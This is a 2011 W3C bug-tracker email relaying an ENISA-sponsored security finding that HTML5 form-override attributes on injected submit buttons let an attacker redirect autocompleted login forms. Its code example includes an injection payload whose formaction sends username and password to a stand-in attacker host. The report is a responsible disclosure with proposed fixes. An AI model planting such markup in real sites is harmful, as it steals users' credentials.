- From: <bugzilla@jessica.w3.org>
- Date: Wed, 03 Aug 2011 05:53:23 +0000
- To: public-html@w3.org
http://www.w3.org/Bugs/Public/show_bug.cgi?id=13586
Summary: [html5] Input attributes allow form tampering
Product: HTML WG
Version: unspecified
Platform: Other
URL: http://www.w3.org/mid/1312266540.13091.2.camel@papyrus
OS/Version: All
Status: NEW
Severity: normal
Priority: P3
Component: HTML5 spec (editor: Ian Hickson)
AssignedTo: ian@hixie.ch
ReportedBy: mike+html-wg-mailbot@w3.org
QAContact: public-html-bugzilla@w3.org
CC: mike@w3.org, public-html-wg-issue-tracking@w3.org,
public-html@w3.org
public-html-comments posting from: Philippe De Ryck
<philippe.deryck@cs.kuleuven.be>
http://www.w3.org/mid/1312266540.13091.2.camel@papyrus
The following comment contains detailed information about an issue that
was discovered during a recent security analysis of 13 next generation
web standards, organized by ENISA (European Network and Information
Security Agency), and performed by the DistriNet Research Group (K.U.
Leuven, Belgium).
The complete report is available at http://www.enisa.europa.eu/html5
(*), and contains information about the process, the discovered
vulnerabilities and recommendations towards improving overall security
in the studied specifications.
Summary
---------
The insertion of a button that overwrites certain form attributes
increases the potential impact of HTML injection.
Based on: HTML5, 11 July 2011
Relevant Sections: 10.7. The input element
Issue
-------
The new form attributes, which can be used with submit buttons, can make
it difficult for a user to distinguish the form that is being submitted.
This can be used by an adversary to trick the user into submitting a
form, such as an autocompleted login form. Even though this attack was
already possible with JavaScript enabled, this new vector does not
depend on scripts. Additionally, it is possible that current content
validation filters do not yet prevent against button injection.
Code example
--------------
The actual form, which is probably auto-completed by the browser:
<form id="login"
action="http://testsrv1.example.com/enisa_ha/login.php" method="POST">
<input type="text" name="username" />
<input type="password" name="password" />
<input type="submit" value="Login" />
</form>
The injected code:
<input type="submit" value="Launch the game" form="login"
formaction="http://testsrv1.csrf.com/enisa_ha/login.php" />
Current state of implementation
---------------------------------
The current browser implementations show the following behavior:
* Firefox 5: Scenario is supported
* Chrome 12: Scenario is supported
* IE 8: No support for modifying form attributes
* Safari 5 (windows): No support for modifying form attributes
* Opera 11.50: No automatic autocomplete support, form attributes are
modifiable though
Recommended Solution
----------------------
Extend the form element with an additional attribute, which explicitly
enables non-hierarchical input elements to change form attributes.
Without this attribute, input elements cannot change form attributes,
which offers backwards security for current sites.
Alternatively, if changing the specification is not possible, developers
should be warned about this attack vector, so they can update their
content filters.
(*) HTML version of the report is available as well:
https://distrinet.cs.kuleuven.be/projects/HTML5-security/
--
Philippe De Ryck
K.U.Leuven, Dept. of Computer Science
Disclaimer: http://www.kuleuven.be/cwis/email_disclaimer.htm
--
Configure bugmail: http://www.w3.org/Bugs/Public/userprefs.cgi?tab=email
------- You are receiving this mail because: -------
You are on the CC list for the bug.
Received on Wednesday, 3 August 2011 05:53:24 UTC